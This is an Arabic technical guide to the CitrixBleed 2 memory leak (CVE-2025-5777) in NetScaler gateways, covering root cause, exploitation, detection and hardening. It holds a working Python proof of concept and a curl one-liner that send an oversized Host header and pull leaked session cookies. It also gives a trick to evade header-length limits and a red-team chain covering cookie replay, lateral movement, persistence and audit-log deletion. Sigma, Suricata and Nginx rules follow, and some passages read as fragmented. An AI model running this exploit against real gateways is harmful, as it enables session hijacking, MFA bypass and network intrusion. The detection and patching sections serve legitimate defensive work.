
شرح تفصيلي لـ CitrixBleed 2 — CVE-2025-5777 (تسريب خارج الحدود) PoC وعدة الكشف
قراءة ذاكرة خارج الحدود (Out-of-Bounds Memory Read) في NetScaler ADC / Gateway — دليل شامل من الأسباب الجذرية إلى تدريبات الهجوم والدفاع
0x00 مقدمة / نظرة سريعة
0x01 الخلفية: بنية NetScaler واستعراض CitrixBleed 1
0x02 وصف الثغرة (الإصدارات المتأثرة، CVSS، عواقب الاستغلال)
0x03 تشريح عميق لآلية الاستغلال (تحليل على مستوى الكود المصدري ولقطات التصحيح)
0x04 PoC مصغّر + سكربت مسح متقدم
0x05 منظور الفريق الأحمر: سلسلة الهجوم الكاملة (الاكتشاف → التسريب → اختطاف الجلسة → الحركة الجانبية في الشبكة الداخلية)
0x06 منظور الفريق الأزرق: الكشف والطب الشرعي والتحقق من التصحيح
0x07 تحصين الدفاع: التصحيح وWAF والإعدادات وإدارة الأصول
0x08 خارطة طريق التعلم / المراجعة والتجارب العملية
الملحق A قواعد Sigma / Suricata / Nginx-Lua
الملحق B الجدول الزمني للتصحيح/الاستغلال ولقطات IoC
المراجع
Host طويل جدًا ليجعل الجهاز "يبصق" كتلًا عشوائية من الذاكرة مع استجابة HTTP إلى العميل.NSC_USER / NSC_TASS وStateContext الخاصة بـ SAML ورموز MFA، ويمكن إعادة استخدامها مباشرةً لاختطاف الجلسات وتجاوز MFA (arcticwolf.com, tenable.com).┌──────────────┐
│ Client │ ① HTTPS
└──────┬───────┘
│
┌──────▼───────┐
│ NetScaler │ ② مصادقة AAA / Gateway
│ (WebProc) │
└──────┬───────┘
│
┌──────▼───────┐
│ ICA Proxy / │ ③ توجيه إلى التطبيق
│ CVPN / RDP │
└──────────────┘
يعتمد NetScaler تصميم متعدد العمليات + IPC داخلي. تتولى WebProc معالجة معظم طلبات HTTP ضمن مسار AAA / Gateway، بما في ذلك /nf/auth/* و/oauth/* وغيرها. وتستخدم بكثرة snprintf() / memcpy() في لغة C عند تجميع مقاطع XML/HTML في كل مرة.
/oauth/idp/.well-known/openid-configuration.snprintf كمعامل len في send() اللاحقة ← صدى ذاكرة خارج الحدود.الدرس المستفاد: إذا استهدفت التصحيحات الأمنية "نقطة التأثير" فقط دون "نمط البرمجة"، فستترك مساحةً لإعادة الاستغلال "بنمط موحّد".
يعتمد هذا القسم على فك تجميع البرنامج الثابت 13.1-55.18 وتصحيح الأخطاء عبر gdb، بالإضافة إلى مدونات عامة (bishopfox.com).
/nf/auth/startwebview.doHost<AuthenticateResponse>
<wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
...
</AuthenticateResponse>
citrix_webview_handler()
├─ build_auth_xml()
│ ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
│ └─ return length; // ⚠️ يمكن أن تكون length أكبر من 0x1800
└─ ns_vpn_send_response(conn, 0x980200, buf, length);
موقع الخلل: تُرجع
snprintf"الطول الذي كان يجب كتابته" وليس الطول الفعلي المكتوب؛ إذا كان رأسHostالمُرسل من المستخدم > 0x1800 - طول المقطع الثابت، فإنlength>sizeof(buf).
buf: [-----XML-----][OOB][OOB][OOB]...... <- حد 0x1800 بايت
↑
تُرسَل هذه البايتات أيضًا بواسطة ns_vpn_send_response
عرض نقاط التوقف في GDB (السجلات الرئيسية):
RDI (dst) = 0x7fffa2e31800 // buf
RSI (len) = 0x00001e42 // length=7746 (>6144)
أظهرت نتائج read() أن آخر 1600 بايت تأتي من ذاكرة غير مهيأة، وكانت مخازن كوكيز من جلسات SSL أخرى ظاهرةً فيها.
| الفئة | مقطع توضيحي (تم إخفاء البيانات الحساسة) |
|---|---|
| Session Cookie | Set-Cookie: NSC_USER=john.doe;NSC_TASS=abc123... |
| MFA/OTP Token | radius_state=0e2a9c6d1553... |
| محتوى طلبات أخرى | <username>audituser</username><password>***</password> |
#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()
if len(sys.argv) != 2:
exit(f"Usage: {sys.argv[0]} https://NSVIP")
url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000} # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)
print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print(" Cookie leak ->", h.decode())
open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")
leak.bin عن كلمات مفتاحية مثل Cookie= و<AuthenticateContext> وغيرها.curl -ks -H "Host: $(python -c 'print(\"A\"*6000)')" \
https://NSVIP/nf/auth/startwebview.do -o leak.bin
تجاوز: تفرض بعض الأجهزة قيدًا على طول رأس
Hostعبر F5 / Nginx في الواجهة الأمامية؛ يمكن التحايل عليه بتجميع نطاقات فرعية متعددة، مثلfoo.foo.foo.…foo.example.com(بتكرارfoo3000 مرة).
حالة واقعية: رصدت ReliaQuest على بوابة أحد العملاء "دفعة كبيرة من الطلبات برأس Host يتجاوز 6 كيلوبايت في فترة قصيرة ← اختطافًا للجلسات بعدها مباشرة" (reliaquest.com).
| المصدر | العلامة |
|---|---|
| /var/log/ns.log | AAA_TRANSACTION <client_ip> - Host header length: 6144 |
title: CitrixBleed2 Host Header OOB Leak
status: experimental
logsource:
category: webserver
product: netscaler
detection:
selection:
cs-uri-stem: "/nf/auth/startwebview.do"
cs-bytes|gt: 2048
c-host|strlen|gt: 4096
condition: selection
level: critical
nscli -s 127.0.0.1:3008 \
-c "show ns version" | grep -E "13\.1-58\.32|14\.1-43\.56" \
&& echo "Patched ✅" || echo "Vulnerable ❌"
# إنهاء جميع اتصالات VPN/ICA النشطة
kill icaconnection -all
kill vpn -all
ملاحظة: بعد تطبيق التصحيح، ما زال من الضروري فرض تسجيل خروج إجباري على الجميع لمنع المهاجمين من مواصلة استخدام الكوكيز المسروقة.
map $http_host $block_long_host {
default 0;
"~^.{4097,}$" 1;
}
server {
...
if ($block_long_host) { return 413; }
}
/nf/auth/ و/oauth/ (مثل 20 طلبًا/دقيقة).title: Netscaler CitrixBleed2 Large Host Header
id: 4d6f1e1b-0bfe-4473-a732-3e7e9a21f650
status: experimental
description: Detects abnormal Host header length in requests to /nf/auth/startwebview.do
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-5777
author: mingshenhk
logsource:
product: netscaler
service: http_access
detection:
selection:
cs-uri-stem: "/nf/auth/startwebview.do"
c-host|strlen|gt: 4096
condition: selection
level: critical
alert http any any -> any any (
msg:"CitrixBleed2 CVE-2025-5777 Host header overflow";
http.uri; content:"/nf/auth/startwebview.do"; nocase;
http.header; field:Host; content:"AAAAAAAA"; within:0; distance:0; offset:4096;
classtype:attempted-recon;
sid:5777002; rev:1;
)
-- access_by_lua_block
local host = ngx.var.http_host or ""
if #host > 4096 then
ngx.log(ngx.WARN,"[CitrixBleed2] Blocked Host len=",#host)
return ngx.exit(ngx.HTTP_REQUEST_HEADER_FIELDS_TOO_LARGE)
end
النهاية — نأمل أن يساعدك هذا المستند على فهم CitrixBleed 2 والتعامل معه من جميع الجوانب. إذا احتجت مزيدًا من الأمثلة أو النصوص البرمجية أو إرشادات التدريبات العملية، فلا تتردد في طلبها!
| الحقل | المحتوى |
|---|
| CVE | CVE-2025-5777 |
| الاسم المستعار | CitrixBleed 2 |
| نوع الثغرة | قراءة خارج الحدود / تسريب معلومات |
| CVSS v4 Base | 9.3 (حرجة) (netscaler.com) |
| الإصدارات المتأثرة | < 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS (netscaler.com) |
| شروط الاستغلال | أن يكون NetScaler مهيأً كبوابة Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) أو كخادم AAA افتراضي (arcticwolf.com) |
| عواقب الاستغلال | تسريب الذاكرة → رموز الجلسة → تجاوز المصادقة / تجاوز MFA → حركة جانبية |
| الخطوة | الهدف والتقنية |
|---|
| ① اكتشاف الأصول | zoomeye search "http.title:\"NetScaler Gateway\"" + Shodan وغيرها؛ التصفية وفق set-cookie: NSC_ |
| ② تسريب عبر PoC | نصوص برمجية مجمّعة ترسل الطلبات بالتوازي؛ والتقاط NSC_USER= ; NSC_TASS= |
| ③ إعادة تشغيل الكوكيز | Chrome DevTools→Application→Cookies→إضافة عنصر، ثم تحديث /vpn/index.html |
| ④ موارد الشبكة الداخلية | الوصول إلى storeweb/#home للحصول على ملفات RDP؛ تنزيل .ica والدخول مباشرة إلى VDI |
| ⑤ رفع الصلاحيات | حقن بيانات الاعتماد داخليًا، Kerberoast، ADCS ESC1؛ أو استغلال كلمات مرور SMB الضعيفة في الشبكة نفسها |
| ⑥ الثبات | إنشاء مهمة مجدولة؛ تسجيل سكربتات إقلاع تلقائي؛ أو تعديل vDisk الخاص بـ NetScaler (يتطلب صلاحيات عالية أو إهمالًا تشغيليًا) |
| ⑦ تنظيف الآثار | حرق الكوكيز فور استخدامها؛ حذف سجلات التدقيق (إن حصلت على صلاحيات root لـ NS)؛ أو الكتابة فوقها عبر استغلال سباق logrotate |
| HTTP_ACCESS.log | طلبات /nf/auth/startwebview.do بزمن استجابة قصير جدًا لكن بحجم استجابة غير طبيعي (> 2 كيلوبايت) |
| EDR/PCAP | ظهور Set-Cookie: NSC_USER= في استجابات لطلبات غير مرتبطة بتسجيل الدخول |
| المرحلة | المواد المقترحة والإجراءات |
|---|
| النظري | اقرأ النشرات الأمنية لـ Citrix، والأسئلة الشائعة من Arctic Wolf / Tenable، والتفكيك التقني من Bishop Fox (arcticwolf.com, tenable.com, bishopfox.com) |
| التجريبي | انشر النسخة الثغرية 13.1-55.18 (ESXi / KVM)، وشغّل PoC مصغّرًا، والتقط الحزم بـ Wireshark → لاحظ حزم TCP PSH في الاستجابة |
| البرمجي | أعد كتابة الـ PoC: أضف إعادة تشغيل تلقائية للكوكيز، ومسحًا مجمعًا عبر ZTLS، وطابورًا متعدد الخيوط |
| الفريق الأزرق | ابحث عن أطوال Host غير طبيعية ضمن نافذة زمنية مدتها ساعتان؛ مرّر Sigma إلى Elastic/Graylog؛ أعد إنتاج استراتيجيات WAF والتحقق منها |
| المشاركة | اكتب تدوينة أو أنشئ خريطة ذهنية تلخّص "مزالق استخدام snprintf من الفئة نفسها" |
| التاريخ (2025) | الحدث |
|---|
| 06-17 | تنشر Citrix الإعلان الأول عن CVE-2025-5777 (netscaler.com) |
| 06-18 | تنشر Bishop Fox أول تفكيك تقني وPoC (bishopfox.com) |
| 06-23 | تحدّث Citrix نطاق التأثير وإصدارات التصحيح؛ وتُدرج CISA الثغرة في قائمة KEV |
| 06-25 | تبلّغ ReliaQuest عن استغلال نشط؛ مجموعات تهديد تسرق الجلسات بشكل جماعي (reliaquest.com) |
| 06-27 | تنقل BleepingComputer "احتمال استغلال واسع النطاق" (bleepingcomputer.com) |
| 06-28 | تظهر عدة PoCs على GitHub؛ وتنشر Tenable الأسئلة الشائعة (tenable.com) |